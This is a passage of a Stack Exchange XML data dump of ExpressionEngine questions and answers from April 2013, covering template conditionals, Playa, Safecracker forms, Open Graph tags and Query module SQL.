use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if max_dimensions != &quot;option A&quot; AND max_dimensions != &quot;option B&quot;}&#xA;    display third row only if max dimensions are anything other than options A or B&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By using AND you are saying you want the third row to display whenever options A and B are not the value.  By using OR, you're saying you want the third row if option A is not the value or option B is not the value - two conditions rather than one, which buggers up the logic a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sense?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-26T00:48:55.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9727" PostTypeId="2" ParentId="9707" CreationDate="2013-04-26T01:32:21.380" Score="2" Body="&lt;p&gt;I've just found the culprit and solution for anyone who is having a similar problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was being caused by an incompatible version of Zoo Flexible Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.7.1 has just being released and it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-flexible-admin/viewthread/9326&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-flexible-admin/viewthread/9326&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-04-26T01:32:21.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9728" PostTypeId="1" AcceptedAnswerId="9751" CreationDate="2013-04-26T01:34:45.493" Score="2" ViewCount="218" Body="&lt;p&gt;I've got a query about setting the cachedir path in system/config/database.php when placing the system folder above web root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the system folder isn't above web root, I'd normally set the path like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['cachedir'] = &quot;${_SERVER['DOCUMENT_ROOT']}/my_system/expressionengine/cache/db_cache/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when the system folder is placed above web root, what dynamic path should I be using instead? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: In fact, does anyone know the purpose of this cachedir? I've checked a few sites and I've got nothing stored at this folder location anyway.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-04-26T12:52:37.813" LastActivityDate="2013-04-26T14:16:19.670" Title="Dynamic path for cachedir when placing system folder above web root" Tags="|config|system|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9729" PostTypeId="1" CreationDate="2013-04-26T03:31:34.877" Score="1" ViewCount="116" Body="&lt;p&gt;Having an issue placing playa inside a URL segment conditional. Inside the conditional, playa doesn't return entries, though if I substitute the playa call with simple text, the conditional works. And strangely, if I have a blank {if:else} statement, the playa entries will show.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Doesn't work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my-channel&quot; limit=&quot;1&quot;}&#xA;   {if segment_3 == &quot;{entry_id}&quot; }&#xA;&#xA;        {exp:playa:children field=&quot;my-channel-field&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title} - {other-field}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:playa:children}&#xA;&#xA;   {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Works:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;{entry_id}&quot; }&#xA;  Nice id!&#xA; {if:else}&#xA;  Sorry, underage!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also works:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {if segment_3 == &quot;{entry_id}&quot; }&#xA;        {exp:playa:children field=&quot;my-channel-field&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title} - {other-field}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:playa:children}&#xA;    {if:else}&#xA;   {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1387" LastActivityDate="2013-05-26T05:30:21.127" Title="Problem with playa inside url segment conditional" Tags="|playa|conditionals|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9730" PostTypeId="2" ParentId="9729" CreationDate="2013-04-26T05:13:44.573" Score="1" Body="&lt;p&gt;The difference may be due to the parsing order. The 1st block in your example is a simple conditional, vs the advanced conditional in the 3rd block. So the time the conditional is parsed is &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;later with the advanced&lt;/a&gt;. What if you try adding parse=&quot;inward&quot; to your first example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my-channel&quot; limit=&quot;1&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-26T05:13:44.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9731" PostTypeId="1" CreationDate="2013-04-26T05:31:48.053" Score="6" ViewCount="1188" Body="&lt;p&gt;I am trying to setup meta tags for my site specifically for Facebook sharing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 4 different channels and I want to ideally use the same channel field for each of them so I can efficiently publish the &quot;description&quot; tag without complex {if} statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't use the same channel field can I use something along the lines of {{channel_short_name}_summary}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects|case_studies|articles|about&quot; url_title=&quot;{segment_3}&quot; status=&quot;open&quot; disable=&quot;categories|category-fields|member-data|pagination&quot;}&#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; cover_only=&quot;yes&quot;}&#xA;&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;{title}&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;{image:url:small}&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;mysite.com&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{{channel_short_name}_summary}&quot;/&amp;gt;&#xA;{/exp:channel_images:images} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-07-26T00:17:29.343" Title="Use same channel field across channels" Tags="|channel-entries|fields|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9733" PostTypeId="2" ParentId="7538" CreationDate="2013-04-26T06:06:01.453" Score="1" Body="&lt;p&gt;From looking at your code, you aren't telling Profile:Edit what member group to place the new user, so it's using the default. Based on the &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#member-group-select&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit documentation&lt;/a&gt; your code should include an admin visible ONLY: member group drop down menu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    {exp:profile:register}&#xA;&#xA;        {exp:profile:member_group_select member_groups=&quot;5|6|7&quot;}&#xA;&#xA;    {/exp:profile:register}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So based on your form data, you'd need to modify, something like this…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:register include_jquery=&quot;no&quot; datepicker=&quot;no&quot; return=&quot;/extranet&quot; dynamic_screen_name=&quot;[cf_profile_first_name] [cf_profile_last_name]&quot; group_id=&quot;10&quot;}&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;First name &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;cf_profile_first_name&quot; placeholder=&quot;First Name&quot; type=&quot;text&quot; value=&quot;{cf_profile_first_name}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Last name &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;cf_profile_last_name&quot; placeholder=&quot;Last Name&quot; type=&quot;text&quot; value=&quot;{cf_profile_last_name}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Email &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;email&quot; placeholder=&quot;Email&quot; type=&quot;text&quot; value=&quot;{email}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Password &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;{if logged_in}&#xA;&#xA;        {exp:profile:member_group_select member_groups=&quot;5|6|7&quot;}&#xA;&#xA;{/if}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Create new login &amp;amp;raquo;&quot; /&amp;gt;&#xA;&#xA;{/exp:profile:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, specify your member groups, instead of the default, but that should do the placement.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-26T06:06:01.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9734" PostTypeId="1" CreationDate="2013-04-26T07:29:43.487" Score="0" ViewCount="146" Body="&lt;p&gt;As default EE seems to limit the page number links in pagination to 2 either side of the current page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally change this in /system/codeigniter/libaries/paginatation.php in the $num_links variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just updated to EE 2.6 and gone to do this as I noticed the numbered links were back to default, and found that this variable is set as 10, yet only 2 either side are being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to get more links in 2.6?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-06-04T18:54:45.380" Title="More pagination number links" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9735" PostTypeId="1" AcceptedAnswerId="10399" CreationDate="2013-04-26T07:46:45.107" Score="0" ViewCount="120" Body="&lt;p&gt;I'm using Assets in a MSM setup. But it seems that it broke the category image functionality. Is there a work-around or a fix for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Diederik.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="1018" LastEditDate="2013-04-26T08:08:56.090" LastActivityDate="2013-05-15T12:16:28.240" Title="Assets broke the category image field" Tags="|assets|image|categories|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9736" PostTypeId="1" AcceptedAnswerId="9744" CreationDate="2013-04-26T08:50:06.233" Score="0" ViewCount="52" Body="&lt;p&gt;I am fairly new to Safecracker, so forgive me if my question is stupid. On the following [site Click][1] Here when you click on the promo materials button, a pop up window appears requiring users to login with a username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed the login form is not recognising my username and password. I am currently trying to login using my super admin. is there anything i need to select in the control panel. Also looking at the code i have submitted is this the correct set up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is a snippet of my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form}&#xA;&#xA; {if logged_in}&#xA;&amp;lt;a href=&quot;{path=&quot;press-creative/pressKit/{segment_3}&quot;}&quot;&amp;gt;Presskit&amp;lt;/a&amp;gt;&#xA;   {/if}&#xA;&#xA;&amp;lt;div class=&quot;tencol margin-bottom&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;plain inset&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; onclick=&quot;this.value = ''&quot; id=&quot;email&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;password&quot; value=&quot;password&quot; onclick=&quot;this.value = ''&quot; type=&quot;password&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;{if auto_login}&#xA;      &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot;&amp;gt; Auto-login&amp;lt;/p&amp;gt;&#xA; {/if}&#xA;&#xA;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; style=&quot;margin-top: 10px;&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;     &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='member/forgot_password'}&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2013-04-28T21:57:49.773" LastActivityDate="2013-04-28T21:57:49.773" Title="safecracker login form not accepting login details" Tags="|templates|safecracker|members|authenticate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9737" PostTypeId="1" AcceptedAnswerId="9738" CreationDate="2013-04-26T09:01:38.447" Score="1" ViewCount="114" Body="&lt;p&gt;I'm looking at a way to change the author of a channel entry through a Safecracker form, in same style as used in the CP with a drop down select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see it needs some sort of query, I've tried all sorts with variables member_id and author_id within tag pairs, without any results writing back to db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone done this?&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-26T09:33:56.010" Title="Change author using Safecracker" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9738" PostTypeId="2" ParentId="9737" CreationDate="2013-04-26T09:33:56.010" Score="1" Body="&lt;p&gt;I also had this issue. It'd be nice if this functionality was available via a native tag or a third party plugin, but in the meantime, I used the following code with the Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT member_id, screen_name, group_id FROM exp_members ORDER BY group_id DESC, screen_name ASC;&quot;}&#xA;  &amp;lt;option value=&quot;{member_id}&quot; {if &quot;{member_id}&quot; == &quot;{author_id}&quot;}selected=&quot;selected&quot;{/if}&amp;gt;{screen_name}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code worked fine for me in EE 2.5.5. If you get T_STRING errors (which I got in certain situations for certain members in EE 2.5.0 when using the above), then try changing the conditional that picks the current author from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{member_id}&quot; == &quot;{author_id}&quot;}selected=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {member_id} == {author_id}}selected=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-04-26T09:33:56.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9739" PostTypeId="1" AcceptedAnswerId="9774" CreationDate="2013-04-26T09:38:31.870" Score="2" ViewCount="700" Body="&lt;p&gt;Is it possible to check if an Assets field is empty, using the search:fieldname attribute? I cannot use the if-method within the loop, because I'm using pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, in advance!&#xA;Diederik.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-04-26T20:03:03.240" Title="Search parameter to check if Assets field is (not) empty" Tags="|assets|channel|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9741" PostTypeId="1" AcceptedAnswerId="9755" CreationDate="2013-04-26T10:18:07.197" Score="1" ViewCount="133" Body="&lt;p&gt;So I've setup a safecracker form, all works great to submit an article and the editing page also works if you're logged in as the author. However if you're logged out you get the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors&#xA;You are not the author of this entry.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is fine for the edit page and works as it should do, however when trying to simply view the article it still displays this message, any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freebie_3 == &quot;&quot;}&#xA;&#xA;  {embed=&quot;site/_header&quot; page_name=&quot;{segment_1}&quot;}&#xA;&#xA;  &amp;lt;div class=&quot;primary-col&quot;&amp;gt;&#xA;&#xA;  {exp:channel:entries channel=&quot;profile&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;bio&quot;&amp;gt;&#xA;      {company_bio}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;work-samples&quot;&amp;gt;&#xA;    {company_samples}&#xA;      &amp;lt;article&amp;gt;&amp;lt;img src=&quot;{image:url}&quot; alt=&quot;{image:title}&quot; /&amp;gt;&amp;lt;/article&amp;gt;&#xA;    {/company_samples}&#xA;&#xA;  {/exp:channel:entries}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;{if:else}  &#xA;&#xA;  {embed=&quot;site/_header&quot; page_name=&quot;edit&quot;}&#xA;&#xA;  &amp;lt;h1&amp;gt;Your Profile&amp;lt;/h1&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;primary-col&quot;&amp;gt;&#xA;&#xA;    {if logged_out}  You aren't a member or aren't logged in.&amp;lt;br /&amp;gt; &amp;lt;a href=&quot;{path='member/login'}&quot;&amp;gt;Login&amp;lt;/a&amp;gt;  | &amp;lt;a href=&quot;{path='member/register'}&quot;&amp;gt;Register&amp;lt;/a&amp;gt;  {/if}&#xA;&#xA;    {exp:safecracker channel=&quot;profile&quot; author_only=&quot;yes&quot; return=&quot;companies/URL_TITLE&quot; url_title=&quot;{segment_2}&quot; error_handling=&quot;inline&quot; include_jquery=&quot;no&quot; rte_selector=&quot;.rte&quot;}&#xA;      {edit-form}&#xA;    {/exp:safecracker}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;{embed=&quot;site/_footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Freebie to detect if segment_3 is empty, if it is then the article is displayed, but if segment_3 is edit then you'll get the edit form. I've tried swapping the ifs around so that if freebie_3 == &quot;edit&quot; but it does exactly the same thing.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-04-26T15:05:46.677" Title="Safecracker - author_only=&quot;yes&quot; - can't view entry when logged out or logged in as another user" Tags="|safecracker|users|freebie|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9742" PostTypeId="1" CreationDate="2013-04-26T10:40:53.997" Score="0" ViewCount="65" Body="&lt;p&gt;On the face of it this seemed like it would be something simple to implement, and a common requirement given how important a metric it is, however after a lot of searching and work around ideas this seems to not be the case (I would like to avoid writing a custom plugin for something so basic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer suggestions on how to do this simply (no hopping through meta redirects) and keep it strict? Or maybe there is a plugin I have missed? The registration system in question is using zoo_visitor and does not require email authentication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="57" LastActivityDate="2013-04-26T14:19:25.020" Title="Track one-time GA event for new user registrations" Tags="|zoo-visitor|registration|analytics|signup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9743" PostTypeId="2" ParentId="9742" CreationDate="2013-04-26T10:54:29.350" Score="0" Body="&lt;p&gt;An Obvious thought would be to put a Google &lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide&quot; rel=&quot;nofollow&quot;&gt;click track&lt;/a&gt; on the registration button? Since users can only register once, this would do the job wouldn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you need to track registrations via Google? Surely a count of the active members would do the same thing? &lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-04-26T10:54:29.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9744" PostTypeId="2" ParentId="9736" CreationDate="2013-04-26T11:03:51.613" Score="1" Body="&lt;p&gt;You need to put name=&quot;password&quot; into your form. I think that should work then.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-04-26T11:03:51.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9745" PostTypeId="1" CreationDate="2013-04-26T11:26:09.507" Score="2" ViewCount="1531" Body="&lt;p&gt;On a blog detail page I have Facebook OpenGraph tags pulling in various bits of data using ExpressionEngine tags etc. All works fine apart from the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, as the blog posts contain a lot of images, when posting an article to FB it should pull some of the images from the blog post to use as the thumbnail and let the client decide which one to use. If there are no images in the blog post then it falls back to the default thumbnail I've referenced in the 'og:image' tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently what happens is it only gives the option to use the default thumbnail                       and if I don't include the 'og:image' tag then it loads no thumbnail at all, instead of scraping the post for a blog image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this before? What EE solutions, if any, are you using to bring in select images? Creating a separate channel field just for a thumbnail for every blog post seems overkill. Also, as it's blog post then all the data is in one channel field in a textarea so I can't pull a specific image out of it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:title&quot; content=&quot;{title}&quot;/&amp;gt;&#xA;{if facebook_description}&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{facebook_description}&quot; /&amp;gt;&#xA;{/if}&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://www.client.com/thumbnail.jpg&quot;/&amp;gt;   &#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;{site_name}&quot;/&amp;gt;   &#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;{page_url}/&quot; /&amp;gt;                           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="853" LastActivityDate="2014-01-16T19:44:04.697" Title="Facebook Open Graph pulling ExpressionEngine Data" Tags="|facebook|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9746" PostTypeId="2" ParentId="9725" CreationDate="2013-04-26T12:19:53.053" Score="1" Body="&lt;p&gt;If your &lt;code&gt;{exp:playa:children}&lt;/code&gt; tag pair is within an &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, you can use the &lt;code&gt;var_prefix&lt;/code&gt; parameter on the &lt;code&gt;{exp:playa:children}&lt;/code&gt; to tell Playa to only parse certain variables with that prefix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[removed code - updated answer]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sounds like your nesting playa fields, so use two &lt;code&gt;{exp:playa:children}&lt;/code&gt; tags with &lt;code&gt;var_prefix&lt;/code&gt;'s  so playa knows which fields to parse for each channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children channel=&quot;films&quot; field=&quot;films_packages_products&quot; var_prefix=&quot;films&quot;}&#xA;    {exp:playa:children channel=&quot;packages&quot; field=&quot;packages_products&quot; var_prefix=&quot;packages&quot;}&#xA;    &amp;lt;h3&amp;gt;{packages:title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;            {packages:products_summary}&#xA;            {!-- need a unique id for the Collapse js to target next line --}&#xA;            &amp;lt;a data-toggle=&quot;collapse&quot; data-target=&quot;#row_{films:entry_id}-{packages:entry_id}&quot;&amp;gt;More Info&amp;lt;/a&amp;gt;&#xA;            {!-- need a unique id for the Collapse js to target next line that matches the above --}&#xA;            &amp;lt;div id=&quot;row_{films:entry_id}-{packages:entry_id}&quot; class=&quot;collapse&quot;&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                {packages:products_features}&#xA;                &amp;lt;li&amp;gt;{packages:feature_bullet}&amp;lt;/li&amp;gt;&#xA;                {/packages:products_features}&#xA;                &amp;lt;/ul&amp;gt;                                           &#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-04-29T20:32:45.880" LastActivityDate="2013-04-29T20:32:45.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9747" PostTypeId="1" CreationDate="2013-04-26T13:15:40.257" Score="1" ViewCount="75" Body="&lt;p&gt;I'm in the process of moving a Cartthrob powered EE1.x/Cartthrob 1.x store to EE2.x and Cartthrob 2.x. Most things have gone as smoothly as can be expected with such a big leap (ie not that smoothly, but I'm getting there!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue I'm struggling with is migrating my product options now that they're handled differently. Cartthrob's new (stored option) solution is really good, but I don't know how to bulk-apply my old per-item price modifiers to the new method, as it looks like every item with a stored option saves it as some kind of unique (encrypted?) string. So I don't think it's a case of me writing a sql query to look for serialized arrays in the corresponding field_id and replacing them with a new string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any experience of this or can think of a handy solution that doesn't involve me manually opening and closing hundreds of entries? Because at teh moment I'm only working on a staging DB - when my update is ready, I'm going to have to migrate the production database and that's going to be tricky in itself... :/&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-04-26T13:15:40.257" Title="Cartthrob 1 &gt; 2 upgrade - updating price modifiers?" Tags="|cartthrob|upgrade|ee2-upgrades|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9748" PostTypeId="1" AcceptedAnswerId="9806" CreationDate="2013-04-26T13:44:45.273" Score="1" ViewCount="659" Body="&lt;p&gt;Having an issue with the following sql within the query module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    exp_channel_titles.entry_id,&#xA;    exp_channel_titles.title,&#xA;    exp_channel_titles.url_title,&#xA;    exp_channel_titles.status,&#xA;    exp_channel_titles.channel_id,&#xA;    exp_channel_data.field_id_66,&#xA;    exp_channel_data.field_id_50&#xA;FROM&#xA;    exp_channel_titles&#xA;&#xA;INNER JOIN exp_channel_data ON exp_channel_data.entry_id = exp_channel_titles.entry_id&#xA;&#xA;WHERE &#xA;    exp_channel_data.field_id_50 = '{embed:member_group}'&#xA;OR&#xA;    exp_channel_titles.entry_id IN ({embed:additional_projects})&#xA;AND&#xA;    exp_channel_titles.status = 'open'&#xA;AND&#xA;    exp_channel_titles.channel_id = '14'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This issue I'm having is if the embed:additional_projects variable has no value (or contains no additional project IDs) it throws an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real test for access to an entry comes with the member group I would just like to add additional entries on a per ID basis if need be. 